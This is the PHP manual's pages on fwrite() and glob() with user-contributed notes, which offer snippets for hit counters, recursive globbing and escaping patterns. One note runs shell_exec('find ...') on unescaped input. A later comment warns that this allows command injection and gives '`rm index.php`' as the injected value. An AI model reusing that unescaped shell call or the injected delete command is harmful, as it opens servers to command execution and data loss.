rewind ($handle); // Go back to the beginning
/*
 * Note that we don't have problems with 9 being fewer characters than
  * 10 because we are always incrementing, so we will always write at
   * least as many characters as we read
    **/
fwrite ($handle, ++$count); // Don't forget to increment the counter
fclose ($handle); // Done

return $count;
}
?>
albert;cutthis; at ;coznospam;ribox dot nl 07-Jun-2005 09:02
To write 'true binary' files combine with pack() :

$a = 65530;
$fp = fopen('test.dat', 'w');
fwrite($fp, pack('L', $a));
fclose($fp);
MKP Dev 12-May-2005 05:25
bluevd at gmail dot com mentioned a hit counter. In his/her implementation, the file is first opened, read, closed, then opened +truncated, then written, and closed again. An alternative to this is:
<?php
$file = 'counter.txt or whatever';
$handle = fopen ($file, 'r+'); // Let's open for read and write
$count = int (fread ($handle, filesize ($file)));
// We don't want to think it's a string and try appending
echo "Number of hits $count";
rewind ($handle); // Go back to the beginning
/*
 * Note that we don't have problems with 9 being fewer characters than
 * 10 because we are always incrementing, so we will always write at
 * least as many characters as we read
 **/
fwrite ($handle, ++$count); // Don't forget to increment the counter
fclose ($handle); // Done
?>
Will at EnigmaChannel dot com 25-Mar-2005 06:24
Using fwrite to write to a file in your include folder...

PHP does not recognise the permissions setting for the file until you restart the server... this script works fine. (still have to create the blank text file first though...it is not created automatically) On OS X Server..
Using the 1 in fopen tells php to look for the file in your include folder. Change your include folder by altering include_path in php.ini
On OS X Server, php.ini is in private/etc/php.ini.default
copy the file and call it php.ini

the default include path is usr/lib/php
(All these folders are hidden - use TinkerTool to reveal them)

<?php
$file = fopen('textfile.txt', 'a', 1);
$text="\n Your text to write \n ".date('d')."-".date('m')."-".date('Y')."\n\n";
fwrite($file, $text);
fclose($file);
?>
goodwork at myrealbox dot com 17-Feb-2005 12:15
difficulty appending to file in SAFE MODE ON
if you are getting resource errors etc try this...

$textline="whatever string you submitted or created";
$filename="afilename.log"; // or whatever your path and filename
 if (!$handle = fopen($filename, 'a')) {
         echo "Cannot open file ($filename)"; // or handle your error
         exit; }
$textline.="\n"; // dont forget that period
// now write content to our opened file.
 IF (fwrite($handle,$textline) === FALSE)
    {echo "Cannot write to file ($filename)";// or handle your error
       exit;}
     echo "Success, wrote ($textline) to file ($filename)";
fclose($handle);
sheyh 09-Feb-2005 09:55
if you want to create quickly and without fopen use system, exec

system('echo "blahblah" > /path/file');
kzevian at cybercable dot net dot mx 03-Feb-2005 11:27
I needed to append, but I needed to write on the file's beginning, and after some hours of effort this worked for me:

$file = "file.txt";
if (!file_exists("file.txt")) touch("file.txt");
$fh = fopen("file.txt", "r");
$fcontent = fread($fh, filesize("file.txt"));

$towrite = "$newcontent $fcontent";

$fh22 = fopen('file.txt', 'w+');
fwrite($fh2, $towrite);
fclose($fh);
fclose($fh2);
bluevd at gmail dot com 22-Dec-2004 09:56
Watch out for mistakes in writting a simple code for a hit counter:
<?php
$cont=fopen('cont.txt','r');
$incr=fgets($cont);
//echo $incr;
$incr++;
fclose($cont);
$cont=fopen('cont.txt','a');
fwrite($cont,$incr);
fclose($cont);
?>

Why? notice the second fopen -> $cont=fopen('cont.txt','a');
it opens the file in writting mode (a). And when it ads the incremented
value ( $incr ) it ads it ALONG the old value... so opening the counter
page about 5 times will make your hits number look like this
012131214121312151.21312141213E+ .... you get the piont.
nasty, isn't it? REMEMBER to open the file with the 'w' mode (truncate
the file to 0). Doing this will clear the file content and it will make sure that
your counter works nice. This is the final code

<?php
$cont=fopen('cont.txt','r');
$incr=fgets($cont);
//echo $incr;
$incr++;
fclose($cont);
$cont=fopen('cont.txt','w');
fwrite($cont,$incr);
fclose($cont);
?>

Notice that this work fine =)
XU (alias Iscu Andrei)
chill at cuna dot org 26-Oct-2004 03:32
In PHP 4.3.7 fwrite returns 0 rather than false on failure.
The following example will output "SUCCESS: 0 bytes written" for existing file test.txt:

$fp = fopen("test.txt", "rw");
if (($bytes_written = fwrite($fp, "This is a test")) === false) {
  echo "Unable to write to test.txt\n\n";
} else {
  echo "SUCCESS: $bytes_written bytes written\n\n";
}
php at biggerthanthebeatles dot com 21-Aug-2003 03:04
Hope this helps other newbies.

If you are writing data to a txt file on a windows system and need a line break. use \r\n . This will write hex OD OA.

i.e.
$batch_data= "some data... \r\n";
fwrite($fbatch,$batch_data);

The is the equivalent of opening a txt file in notepad pressing enter and the end of the line and saving it.
Andi 17-Jul-2003 02:32
[Ed. Note:
The runtime configuration setting auto_detect_line_endings should solve this problem when set to On.]

I figured out problems when writing to a file using \r as linebreak, after that file() wasn't able to read the data from that file.
Using \n solved the problem.
chedong at hotmail dot com 20-Jun-2003 02:36
the fwrite output striped the slashes if without length argument given, example:

<?php
$str = "c:\\01.txt";
$out = fopen("out.txt", "w");
fwrite($out, $str);
fclose($out);
?>

the out.txt will be:
c:^@1.txt
the '\\0' without escape will be '\0' ==> 0x00.

the correct one is change fwrite to:
fwrite($out, $str, strlen($str));
Jake Roberts 04-Jun-2003 11:35
Use caution when using:

$content = fread($fh, filesize($fh)) or die "Error Reading";

This will cause an error if the file you are reading is zero length.

Intead use:

if ( false === fread($fh, filesize($fh)) ) die "Error Reading";

Thus it will be successful on reading zero bytes but detect and error returned as FALSE.
Chris Blown 19-May-2003 03:12
Don't forget to check fwrite returns for errors! Just because you successfully opened a file for write, doesn't always mean you can write to it.

On some systems this can occur if the filesystem is full, you can still open the file and create the filesystem inode, but the fwrite will fail, resulting in a zero byte file.
seeker at seek dot planet 09-Feb-2003 10:33
[[Editors note: There is no "prepend" mode, you must essentially rewrite the entire file after prepending contents to a string. Perhaps you will use file(), modify, implode(), then fopen()/fwrite() it back]]
To put strings into the front of the file, you need to set place the pointer at the top of the file when openning the file with fopen(), see fopen() for more info.
ftruncate
glob
Filesystem Functions


Find pathnames matching a pattern

fwrite
is_dir
Filesystem Functions
PHP Manual

glob

(PHP 4 >= 4.3.0, PHP 5)

glob — Find pathnames matching a pattern

Description

array glob ( string $pattern [, int $flags = 0 ] )

The glob() function searches for all the pathnames matching pattern according to the rules used by the libc glob() function, which is similar to the rules used by common shells.

Parameters

pattern

The pattern. No tilde expansion or parameter substitution is done.

flags

Valid flags:

  • GLOB_MARK - Adds a slash to each directory returned
  • GLOB_NOSORT - Return files as they appear in the directory (no sorting)
  • GLOB_NOCHECK - Return the search pattern if no files matching it were found
  • GLOB_NOESCAPE - Backslashes do not quote metacharacters
  • GLOB_BRACE - Expands {a,b,c} to match 'a', 'b', or 'c'
  • GLOB_ONLYDIR - Return only directory entries which match the pattern
  • GLOB_ERR - Stop on read errors (like unreadable directories), by default errors are ignored.

Return Values

Returns an array containing the matched files/directories, an empty array if no file matched or FALSE on error.

Note:

On some systems it is impossible to distinguish between empty match and an error.

Changelog

Version | Description
5.1.0 | GLOB_ERR was added
4.3.3 | GLOB_ONLYDIR became available on Windows and other systems not using the GNU C library

Examples

Example #1 Convenient way how glob() can replace opendir() and friends.

<?php
foreach (glob("*.txt") as $filename) {
    echo "$filename size " . filesize($filename) . "\n";
}
?>

The above example will output something similar to:

funclist.txt size 44686
funcsummary.txt size 267625
quickref.txt size 137820

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

Note: This function isn't available on some systems (e.g. old Sun OS).

Note: The GLOB_BRACE flag is not available on some non GNU systems, like Solaris.

See Also

  • opendir() - Open directory handle
  • readdir() - Read entry from directory handle
  • closedir() - Close directory handle
  • fnmatch() - Match filename against a pattern

User Contributed Notes

Mike 21-Nov-2011 07:48
<?php

if ( ! function_exists('glob_recursive'))
{
    // Does not support flag GLOB_BRACE

    function glob_recursive($pattern, $flags = 0)
    {
        $files = glob($pattern, $flags);

        foreach (glob(dirname($pattern).'/*', GLOB_ONLYDIR|GLOB_NOSORT) as $dir)
        {
            $files = array_merge($files, glob_recursive($dir.'/'.basename($pattern), $flags));
        }

        return $files;
    }
}

?>
mkas at destiny dot lt 05-Oct-2011 12:58
recursive file search

<?php
$path[] = 'starting_place/*';

while(count($path) != 0)
{
    $v = array_shift($path);
    foreach(glob($v) as $item)
    {
        if (is_dir($item))
            $path[] = $item . '/*';
        elseif (is_file($item))
        {
             //do something
        }
    }
}
?>
mmm3567 at gmail dot com 20-Apr-2011 07:34
Something that's been covered before but that I just want to add on is glob() returning false. If you have code like this...

<?php
$files = glob("*.php");
if(count($files) > 0)
{
    foreach($files as $file)
    {
        // ...
    }
}
else
{
    // no matches
}
?>

... and an open_basedir restriction means that glob() returns false, this code will break, as $files == false, and count(false) will return 1, which will mean it will execute the if() part of the conditional instead of the else() part, and it will error at the foreach loop as $files is not an array. I simply changed the conditional to this:

<?php
if(is_array($files) && count($files) > 0)
{
    // ...
?>

That way, if $files is false, or it's an array which is empty, it'll run the code for no matches, otherwise it'll loop through the results.

Obvious to most I'm sure but I didn't initially realise glob() was even returning false for this very reason, and getting into the habit of checking if the result is an array will save time and troubles.
Ultimater at gmail dot com 20-Mar-2011 11:44
glob() isn't limited to one directory:

<?php
$results=glob("{includes/*.php,core/*.php}",GLOB_BRACE);
echo '<pre>',print_r($results,true),'</pre>';
?>

Just be careful when using GLOB_BRACE regarding spaces around the comma:
{includes/*.php,core/*.php} works as expected, but
{includes/*.php, core/*.php} with a leading space, will only match the former as expected but not the latter
unless you have a directory named " core" on your machine with a leading space.
PHP can create such directories quite easily like so:
mkdir(" core");
david dot schueler at tel-billig dot de 15-Mar-2011 06:32
Don't use glob() if you try to list files in a directory where very much files are stored (>100.000). You get an "Allowed memory size of XYZ bytes exhausted ..." error.
You may try to increase the memory_limit variable in php.ini. Mine has 128MB set and the script will still reach this limit while glob()ing over 500.000 files.

The more stable way is to use readdir() on very large numbers of files:
<?php
// code snippet
if ($handle = opendir($path)) {
    while (false !== ($file = readdir($handle))) {
        // do something with the file
        // note that '.' and '..' is returned even
    }
    closedir($handle);
}
?>
troy at troyonline dot com 28-Feb-2011 09:50
If you have open_basedir set in php.ini to limit which files php can execute, glob(...) will return false when there are no matching files.  If open_basedir is not set, the very same code will return an empty array in the same situation.

This is unfortunate as a seemingly innocuous change causes different functionality that breaks code like:

foreach(glob("*.ext") as $file)
...

See this link if you have any questions as to why this is so:
http://bugs.php.net/bug.php?id=47358
reinhard at neidl.net 22-Nov-2010 12:50
<?php
//A function to convert the glob pattern in a case insensitive version:
//SHORT: make glob() case insensitiv.
//sample call:
//$filelist =  glob( '/path/*/'.globistr('*.PHP') ); //all *.php files in subfolders

//sample call:
//$filelist =  glob( dirname(__FILE__).'/'.globistr('*.JPG') );
//$filelist =  array_merge($filelist,glob( dirname(__FILE__).'/'.globistr('*.JPEG') ));
//$filelist =  array_merge($filelist,glob( dirname(__FILE__).'/'.globistr('*.gif') ));

//multibyte sample:
//$test = "mĄkAÉÁÇÚÍÑАвстрал";
//$pattern = globistr($test,'UTF-8');
//RESULT: pattern:[mM][ąĄ][kK][aA]...

function globistr($string = '', $mbEncoding = ''/*optional e.g.'UTF-8'*/){
    //returns a case insensitive Version of the searchPattern for glob();
    // e.g.: globistr('./*.jpg') => './*.[jJ][pP][gG]'
    // e.g.: glob(dirname(__FILE__).'/'.globistr('*.jpg')) => '/.../*.[jJ][pP][gG]'

    // known problems: globistr('./[abc].jpg') => FALSE:'./[[aA][bB][cC]].[jJ][pP][gG]'
    //(Problem: existing Pattern[abc] will be overwritten)
    // known solution: './[abc].'.globistr('jpg') => RIGHT: './[abc].[jJ][pP][gG]'
    //(Solution: globistr() only caseSensitive Part, not everything)
    $return = "";
    if($mbEncoding !== ''){ //multiByte Version
        $string = mb_convert_case($string,MB_CASE_LOWER,$mbEncoding);
    }
    else{ //standard Version (not multiByte,default)
        $string = strtolower($string);
    }
    $mystrlen = strlen($string);
    for($i=0;$i<$mystrlen;$i++){
        if($mbEncoding !== ''){//multiByte Version
            $myChar = mb_substr($string,$i,1,$mbEncoding);
            //$myUpperChar = mb_strtoupper($myChar,$mbEncoding);
            $myUpperChar = mb_convert_case($myChar,MB_CASE_UPPER,$mbEncoding);
        }else{
            $myChar = substr($string,$i,1);
            $myUpperChar = strtoupper($myChar);
        }
        if($myUpperChar !== $myChar){ //there is a lower- and upperChar, / Char is case sentitive
            $return .= '['.$myChar.$myUpperChar.']'; //adding both Versions : [xX]
        }else{//only one case Version / Char is case insentitive
            $return .= $myChar; //adding '1','.','*',...
        }
    }
    return $return;
}

?>
arvin at sudocode dot net 20-Nov-2010 08:20
I made this non-recursive implementation for recursive glob with a depth parameter. The search is done breadth-first and specifying -1 for the depth means no limit.
<?php
function bfglob($path, $pattern = '*', $flags = 0, $depth = 0) {
        $matches = array();
        $folders = array(rtrim($path, DIRECTORY_SEPARATOR));

        while($folder = array_shift($folders)) {
            $matches = array_merge($matches, glob($folder.DIRECTORY_SEPARATOR.$pattern, $flags));
            if($depth != 0) {
                $moreFolders = glob($folder.DIRECTORY_SEPARATOR.'*', GLOB_ONLYDIR);
                $depth   = ($depth < -1) ? -1: $depth + count($moreFolders) - 2;
                $folders = array_merge($folders, $moreFolders);
            }
        }
        return $matches;
    }
?>

Parameters:
$path   - path of folder to search
$pattern- glob pattern
$flags  - glob flags
$depth  - 0 for current folder only, 1 to descend 1 folder down, and so on. -1 for no limit.
peter dot adrianov at gmail dot com 14-May-2010 04:29
Non-recursive search files, proceeding down directory tree.

<?php
function scandir_through($dir)
{
    $items = glob($dir . '/*');

    for ($i = 0; $i < count($items); $i++) {
        if (is_dir($items[$i])) {
            $add = glob($items[$i] . '/*');
            $items = array_merge($items, $add);
        }
    }

    return $items;
}
?>
BigueNique at yahoo dot ca 08-May-2010 11:45
Here is the function array_prepend() used by my latest post of safe_glob().

<?php
/**
 * Prepends $string to each element of $array
 * If $deep is true, will indeed also apply to sub-arrays
 * @author BigueNique AT yahoo DOT ca
 * @since 080324
 */
function array_prepend($array, $string, $deep=false) {
    if(empty($array)||empty($string)) return $array;
    foreach($array as $key => $element)
        if(is_array($element))
            if($deep)
                $array[$key] = array_prepend($element,$string,$deep);
            else
                trigger_error('array_prepend: array element',E_USER_WARNING);
        else
            $array[$key] = $string.$element;
    return $array;

}
?>
ottodenn at gmail dot com 01-Feb-2010 02:18
just a quick one:

get all dirs, without files:
<?php
$dirs = array_filter(glob($path.'*'), 'is_dir');
?>
dragos dot rusu at ymail dot com 11-Nov-2009 12:52
Glob function doesn't return the hidden files (including ".*" files). PHP5 RecursiveIterator can be used for iterating through directories recursively.
tailinchu[at]gmail[dot]com 17-Oct-2009 06:50
here is a quick fix when nothing matches, glob will return false

<?php $files=glob('*.txt')?glob('*.txt'):array(); ?>

now you are able to use array function to $files.
wang yun 22-Sep-2009 06:00
A function to quickly remove a directory (works in seconds for a hundred thousand files)

<?php
/**
 * Remove the directory and its content (all files and subdirectories).
 * @param string $dir the directory name
 */
function rmrf($dir) {
    foreach (glob($dir) as $file) {
        if (is_dir($file)) {
            rmrf("$file/*");
            rmdir($file);
        } else {
            unlink($file);
        }
    }
}
?>
uramihsayibok, gmail, com 04-Aug-2009 03:38
Those of you with PHP 5 don't have to come up with these wild functions to scan a directory recursively: the SPL can do it.

<?php

$dir_iterator = new RecursiveDirectoryIterator("/path");
$iterator = new RecursiveIteratorIterator($dir_iterator, RecursiveIteratorIterator::SELF_FIRST);
// could use CHILD_FIRST if you so wish

foreach ($iterator as $file) {
    echo $file, "\n";
}

?>

Not to mention the fact that $file will be an SplFileInfo class, so you can do powerful stuff really easily:

<?php

$size = 0;
foreach ($iterator as $file) {
    if ($file->isFile()) {
        echo substr($file->getPathname(), 27) . ": " . $file->getSize() . " B; modified " . date("Y-m-d", $file->getMTime()) . "\n";
        $size += $file->getSize();
    }
}

echo "\nTotal file size: ", $size, " bytes\n";

?>

\Luna\luna.msstyles: 4190352 B; modified 2008-04-13
\Luna\Shell\Homestead\shellstyle.dll: 362496 B; modified 2006-02-28
\Luna\Shell\Metallic\shellstyle.dll: 362496 B; modified 2006-02-28
\Luna\Shell\NormalColor\shellstyle.dll: 361472 B; modified 2006-02-28
\Luna.theme: 1222 B; modified 2006-02-28
\Windows Classic.theme: 3025 B; modified 2006-02-28

Total file size: 5281063 bytes
endiku 29-Jul-2009 08:47
For those who need to recursively search a directory tree and cannot or wish not to call a function within itself here is another suggestion.

I tried the previously suggested listdirs_safe() and it didn't seem to find all subfolders in a directory tree.

There are two variations on the same theme.

Single Array.
<?php
$dir ='/dir';
while($dirs = glob($dir . '/*', GLOB_ONLYDIR)) {
  $dir .= '/*';
  if(!$d) {
     $d=$dirs;
   } else {
      $d=array_merge($d,$dirs);
   }
}
?>

Multiple arrays.
<?php
$n=0;
$dir ='/dir';
while($dirs = glob($dir . '/*', GLOB_ONLYDIR)) {
  $dir .= '/*';
  if(!$d) {
     $d=$dirs;
   } else {
     $d[$n]=$dirs;
   }
  $n++;
}
?>

This will result in the glob looping via "dir/*/*/*/*.." until it is no longer finding a directory structure.
nuntius 06-Jul-2009 10:10
First off, it's nice to see all of the different takes on this. Thanks for all of the great examples.

Fascinated by the foreach usage I was curious how it might work with a for loop. I found that glob was well suited for this, especially compared to opendir.  The for loop is always efficient when you want to protect against a potential endless loop.

$dir=$_SERVER['DOCUMENT_ROOT']."/test/directory_listing/test";
    echo $dir;
    $filesArray=glob($dir."/*.*");

    $line.="<pre>";
    $line.=print_r($filesArray, true);
    $line.="</pre>";
    $line.="<hr>";

    for($i=0;$i<count($filesArray);$i++) {
        $line.=key($filesArray)." - ";
        $line.=$filesArray[$i]."<br/>";
         next($filesArray);
    }

    echo $line;

Note that I pulled the glob array keys if you should need them.

Also you can tweak it for searches with something like this... (case sensitive)

$search_names="Somedocname";
$filesArray=glob($dir."/".$search_names."*.*");

Enjoy!
sven at NOSPAM dot sven dot globalunix dot org 11-Jun-2009 09:22
If you want to use wildcard expressions (like they are used by glob() ) to search on strings, you can use this function:

<?php
function match_wildcard( $wildcard_pattern, $haystack ) {
   $regex = str_replace(
     array("\*", "\?"), // wildcard chars
     array('.*','.'),   // regexp chars
     preg_quote($wildcard_pattern)
   );

   return preg_match('/^'.$regex.'$/is', $haystack);
}

$test = "foobar and blob\netc.";
var_dump(
    match_wildcard('foo*', $test),      // TRUE
    match_wildcard('bar*', $test),      // FALSE
    match_wildcard('*bar*', $test),     // TRUE
    match_wildcard('**blob**', $test),  // TRUE
    match_wildcard('*a?d*', $test),     // TRUE
    match_wildcard('*etc**', $test)     // TRUE
);
?>
r dot hartung at roberthartung dot de 04-May-2009 12:34
You can use multiple asterisks with the glob() - function.

Example:

<?php
  $paths = glob('my/*/dir/*.php');
?>

$paths will contains paths as following examples:

- my/1/dir/xyz.php
- my/bar/dir/bar.php
- my/bar/dir/foo.php
crayonviolent at phpfreaks dot com 16-Jan-2009 11:50
Since I feel this is rather vague and non-helpful, I thought I'd make a post detailing the mechanics of the glob regex.

glob uses two special symbols that act like sort of a blend between a meta-character and a quantifier.  These two characters are the * and ?

The ? matches 1 of any character except a /
The * matches 0 or more of any character except a /

If it helps, think of the * as the pcre equivalent of .* and ? as the pcre equivalent of the dot (.)

Note: * and ? function independently from the previous character. For instance, if you do glob("a*.php") on the following list of files, all of the files starting with an 'a' will be returned, but * itself would match:

a.php // * matches nothing
aa.php // * matches the second 'a'
ab.php // * matches 'b'
abc.php // * matches 'bc'
b.php // * matches nothing, because the starting 'a' fails
bc.php // * matches nothing, because the starting 'a' fails
bcd.php // * matches nothing, because the starting 'a' fails

It does not match just a.php and aa.php as a 'normal' regex would, because it matches 0 or more of any character, not the character/class/group before it.

Executing glob("a?.php") on the same list of files will only return aa.php and ab.php because as mentioned, the ? is the equivalent of pcre's dot, and is NOT the same as pcre's ?, which would match 0 or 1 of the previous character.

glob's regex also supports character classes and negative character classes, using the syntax [] and [^]. It will match any one character inside [] or match any one character that is not in [^].

With the same list above, executing

glob("[ab]*.php) will return (all of them):
a.php  // [ab] matches 'a', * matches nothing
aa.php // [ab] matches 'a', * matches 2nd 'a'
ab.php // [ab] matches 'a', * matches 'b'
abc.php // [ab] matches 'a', * matches 'bc'
b.php // [ab] matches 'b', * matches nothing
bc.php // [ab] matches 'b', * matches 'c'
bcd.php // [ab] matches 'b', * matches 'cd'

glob("[ab].php") will return a.php and b.php

glob("[^a]*.php") will return:
b.php // [^a] matches 'b', * matches nothing
bc.php // [^a] matches 'b', * matches 'c'
bcd.php // [^a] matches 'b', * matches 'cd'

glob("[^ab]*.php") will return nothing because the character class will fail to match on the first character.

You can also use ranges of characters inside the character class by having a starting and ending character with a hyphen in between.  For example, [a-z] will match any letter between a and z, [0-9] will match any (one) number, etc..

glob also supports limited alternation with {n1, n2, etc..}.  You have to specify GLOB_BRACE as the 2nd argument for glob in order for it to work.  So for example, if you executed glob("{a,b,c}.php", GLOB_BRACE) on the following list of files:

a.php
b.php
c.php

all 3 of them would return.  Note: using alternation with single characters like that is the same thing as just doing glob("[abc].php").  A more interesting example would be glob("te{xt,nse}.php", GLOB_BRACE) on:

tent.php
text.php
test.php
tense.php

text.php and tense.php would be returned from that glob.

glob's regex does not offer any kind of quantification of a specified character or character class or alternation.  For instance, if you have the following files:

a.php
aa.php
aaa.php
ab.php
abc.php
b.php
bc.php

with pcre regex you can do ~^a+\.php$~ to return

a.php
aa.php
aaa.php

This is not possible with glob.  If you are trying to do something like this, you can first narrow it down with glob, and then get exact matches with a full flavored regex engine.  For example, if you wanted all of the php files in the previous list that only have one or more 'a' in it, you can do this:

<?php
   $list = glob("a*.php");
   foreach ($list as $l) {
      if (preg_match("~^a+\.php$~",$file))
         $files[] = $l;
   }
?>

glob also does not support lookbehinds, lookaheads, atomic groupings, capturing, or any of the 'higher level' regex functions.

glob does not support 'shortkey' meta-characters like \w or \d.
php [spat] hm2k.org 25-Nov-2008 02:39
<?php
// $Id: rglob.php,v 1.0 2008/11/24 17:20:00 hm2k Exp $

/**
 * Recursive glob()
 */

/**
 * @param int $pattern
 *  the pattern passed to glob()
 * @param int $flags
 *  the flags passed to glob()
 * @param string $path
 *  the path to scan
 * @return mixed
 *  an array of files in the given path matching the pattern.
 */

function rglob($pattern='*', $flags = 0, $path='')
{
    $paths=glob($path.'*', GLOB_MARK|GLOB_ONLYDIR|GLOB_NOSORT);
    $files=glob($path.$pattern, $flags);
    foreach ($paths as $path) { $files=array_merge($files,rglob($pattern, $flags, $path)); }
    return $files;
}

/* example usage: */
chdir('../');
var_export(rglob('*.php'));

?>
carlos dot lage at nospam at foo dot bar at gmail dot com 17-Oct-2008 06:18
I lost hours looking for the solution for this problem.
glob() wasn't eating up my directory names (stuff like "foobar[]"), and I searched online for some hours, I tried preg_quote to no avail.

I finally found the proper way to escape stuff in glob() in an obscure Python mailing list:

<?php
preg_replace('/(\*|\?|\[)/', '[$1]', $dir_path);
?>

If you want to add a directory path before your pattern, you should do it like this:

<?php
glob(preg_replace('/(\*|\?|\[)/', '[$1]', $dir_path).'*.txt');
?>
preg_quote WILL NOT work in all cases (if any).
vidmantas dot norkus at neo dot lt 22-Aug-2008 06:00
My version of recursive glob
<?php
function all_files($dir)
{
    $files = Array();
    $file_tmp= glob($dir.'*',GLOB_MARK | GLOB_NOSORT);

    foreach($file_tmp as $item){
        if(substr($item,-1)!=DIRECTORY_SEPARATOR)
            $files[] = $item;
        else
            $files = array_merge($files,all_files($item));
    }

    return $files;
}
?>
hazemaboali at gmail dot com 22-May-2008 09:02
<?php

FUNCTION glob2($i)
{
  $input = explode('/',$i); $count = count($input);
  if($count>=2)
  {
  $i = 0;
  while(++$i < $count)
  { if(is_dir($input[$i-1]))
    $directory[] = $input[$i-1];
  }

  $dir = join('/',$directory);
  }else{
      $dir = './';
  }

  $db = opendir($dir);
  $output = array();
 while(($file = readdir($db))!= false)
  {
     if(preg_match("#".$input[$count-1]."#",$file))
     $output[] = $file;
  }
  @closedir($db);

 return $output;
}

$dir = glob2("upload/.*\.php");

print_r($dir);

?>
heavyraptor at gmail dot com 19-May-2008 04:56
glob() (array_sum() and array_map() in fact too) can be very useful if you want to calculate the sum of all the files' sizes located in a directory:

<?php
$bytes = array_sum(array_map('filesize',glob('*')));
?>

Unfortunately there's no way to do this recursively, using glob() (as far as I know).
miah [at] miahs [dot] de 17-May-2008 01:38
You should use preg_quote every time you want to add a path to an directory.

Use it like this:

<?php

$dir = './mydir/[with]/special/.chars/';
$file = '[a-z]+\.txt';

$files = glob( preg_quote( $dir, DIRECTORY_SEPARATOR ) . $file );

if($files !== false && count($files) != 0)
{
    // Do something with the files
}

?>

Reason:

Special chars like [ or . will match in regular expressions so "/dir/[special]/*.txt" will match on all files in the dirs

/dir/s/, /dir/p/, /dir/e/, /dir/c/, /dir/i/, /dir/a/, /dir/l/

I hope i could help.

MFG Miah :)
pope at q dot com 23-Apr-2008 06:08
alan at ridersite dot org 18-Mar-2007 03:26 -- Stated '*.*' is the same as '*' -- This is not true as * alone will return directories too and *.* will only return files with an extension such as .pdf or .doc or .php.
alan at synergymx dot com 15-Apr-2008 12:08
Here is a function that returns specific files in an array, with all of the details. Includes some basic garbage checking.

Variables

$source_folder // the location of your files
$ext // file extension you want to limit to (i.e.: *.txt)
$sec // if you only want files that are at least so old.

The function

function glob_files($source_folder, $ext, $sec, $limit){
    if( !is_dir( $source_folder ) ) {
        die ( "Invalid directory.\n\n" );
    }

    $FILES = glob($source_folder."\*.".$ext);
    $set_limit    = 0;

    foreach($FILES as $key => $file) {

        if( $set_limit == $limit )    break;

        if( filemtime( $file ) > $sec ){

            $FILE_LIST[$key]['path']    = substr( $file, 0, ( strrpos( $file, "\\" ) +1 ) );
            $FILE_LIST[$key]['name']    = substr( $file, ( strrpos( $file, "\\" ) +1 ) );
            $FILE_LIST[$key]['size']    = filesize( $file );
            $FILE_LIST[$key]['date']    = date('Y-m-d G:i:s', filemtime( $file ) );
            $set_limit++;

        }

    }
    if(!empty($FILE_LIST)){
        return $FILE_LIST;
    } else {
        die( "No files found!\n\n" );
    }
}

So....

$source_folder = "c:\temp\my_videos";
$ext = "flv"; // flash video files
$sec = "7200"; // files older than 2 hours
$limit = 2;

print_r(glob_files($source_folder, $ext, $sec, $limit));

Would return:

Array
(
    [0] => Array
        (
            [path] => c:\temp\my_videos\
            [name] => fluffy_bunnies.flv
            [size] => 21160480
            [date] => 2007-10-30 16:48:05
        )

    [1] => Array
        (
            [path] => c:\temp\my_videos\
            [name] => synergymx.com.flv
            [size] => 14522744
            [date] => 2007-10-25 15:34:45
        )
eric at muyser dot com 11-Apr-2008 08:31
As a follow up to recursively determining all paths (by viajy at yoyo dot org) and opendir being faster than glob (by Sam Yong - hellclanner at live [dot] com).

The list all dirs code didn't seem to work, at least on my server (provided by parazuce [at] gmail [dot] com).

I needed a function to create an unlimited multidimensional array, with the names of the folders/files intact (no realpath's, although that is easily possible). This is so I can simply loop through the array, create an expandable link on the folder name, with all the files inside it.

This is the correct way to recurse I believe (no static, return small arrays to build up the multidimensional array), and includes a check for files/folders beginning with dots.

// may need modifications

function list_files($path)
{
    $files = array();

    if(is_dir($path))
    {
        if($handle = opendir($path))
        {
            while(($name = readdir($handle)) !== false)
            {
                if(!preg_match("#^\.#", $name))
                if(is_dir($path . "/" . $name))
                {
                    $files[$name] = list_files($path . "/" . $name);
                }
                else
                {
                    $files[] = $name;
                }
            }

            closedir($handle);
        }
    }

    return $files;
}

print_r(list_files("/path/to/folder"));

// example usage

function list_html($list)
{
    $html = "";

    foreach($list as $folder => $file)
    {
        if(is_array($list[$folder]))
        {
            $html .= "> (folder) " . $folder . "<br>";
            $html .= list_html($list[$folder]);
        }
        else
        {
            $html .= " (file) " . $file . "<br>";
        }
    }

    return $html;
}

echo list_html(list_files("/path/to/folder"));
parazuce [at] gmail [dot] com 30-Mar-2008 05:47
As a response to a post by viajy at yoyo dot org on 10-Feb-2007 04:50, he posted the following code:
<?php
function listdirs($dir) {
    static $alldirs = array();
    $dirs = glob($dir . '/*', GLOB_ONLYDIR);
    if (count($dirs) > 0) {
        foreach ($dirs as $d) $alldirs[] = $d;
    }
    foreach ($dirs as $dir) listdirs($dir);
    return $alldirs;
}
?>

It is not best practice to use recursive functions like that, so I wrote a safe (non-recursive) function below:

<?php
function listdirs_safe($start)
{
    $dir  = $start;
    $dirs = array();
    $next = 0;

    while (true)
    {
        $_dirs = glob($dir.'/*', GLOB_ONLYDIR);

        if (count($_dirs) > 0)
        {
            foreach ($_dirs as $key => $_dir)
                $dirs[] = $_dir;
        }
        else
            break;

        $dir = $dirs[$next++];
    }

    return $dirs;
}
?>

Example:

print_r(listdirs_safe('*'));

Output:
Array
(
    [0] => Dummy folder/Dummy folder 2
    [1] => Dummy folder/Dummy folder 2/Dummy Folder 3
    [2] => Dummy folder/Dummy folder 2/Dummy Folder 3/4
    [3] => Dummy folder/Dummy folder 2/Dummy Folder 3/Dummy folder 4
    [4] => Dummy folder/Dummy folder 2/Dummy Folder 3/4/5
)
bisqwit at iki dot fi 01-Mar-2008 03:46
Pomle.com wrote:
> Here's a function that behaves as a recursive glob(). It does
> rely on shell command find, but works like a charm.
> function glob_rec($pattern, $path) {
>    return explode("\n", shell_exec("find $path -name $pattern"));
> }

Do note that this command has a security hole.
If the $path or $pattern given includes special characters, for example a command substitution such as "`rm index.php`", the shell will process it and execute that command.

You can fix the problem by either escaping the characters properly (use shell_escape) or by writing a function that actually calls glob(), or opendir()/readdir()/closedir(), recursively.
Pomle.com 07-Feb-2008 09:15
Here's a function that behaves as a recursive glob(). It does rely on shell command find, but works like a charm.

function glob_rec($pattern, $path) {
    return explode("\n", shell_exec("find $path -name $pattern"));
}
pecoes at web dot de 27-Jan-2008 09:46
As mentioned below, characters like [ and ] cause problems and need to be escaped with a backslash. But it's *not* enough to escape them in the pattern itself! If they appear in the path to the working directory, glob() also fails!

So, if this fails:

glob('*.txt');

Try:

glob(preg_quote(getcwd() . DIRECTORY_SEPARATOR) . '*.txt');
sean at syosoft dot com 16-Nov-2007 02:48
